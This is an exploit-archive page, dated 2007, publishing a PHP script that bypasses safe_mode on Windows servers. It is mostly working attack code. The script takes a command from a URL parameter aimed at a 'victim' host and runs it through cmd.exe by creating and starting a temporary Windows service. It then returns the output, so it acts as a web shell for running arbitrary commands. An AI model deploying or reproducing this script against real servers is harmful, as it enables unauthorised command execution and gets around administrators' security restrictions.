PHP 5.x (win32service) Local Safe Mode Bypass Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHP 5.x (win32service) Local Safe Mode Bypass Exploit
# Published : 2007-07-27
# Author : NetJackal
# Previous Title : PHP 5.2.3 win32std ext. safe_mode/disable_functions Protections Bypass
# Next Title : Symantec AntiVirus symtdi.sys Local Privilege Escalation Exploit

<?php

#####################################################
### PHP Safe_mode bypass exploit (win32service)   ###
###                                               ###
### Note: Tested on 5.2.1                         ###
###                                               ###
### Author:  NetJackal                            ###
### Email:   nima_501[at]yahoo[dot]com            ###
### Website: http://netjackal.by.ru               ###
###                                               ###
###                                               ###
### Usage: http://victim.net/nj.php?CMD=[command] ###
#####################################################

$command=(isset($_GET['CMD']))?$_GET['CMD']:'dir'; #cammand
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output

if(!extension_loaded('win32service'))die('win32service extension not found!');
$name=$dir."\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\windows\system32\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >"$name""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$exec=file_get_contents($name);
unlink($name);
echo "<pre>".htmlspecialchars($exec)."</pre>";
?>

# www.Syue.com [2007-07-27]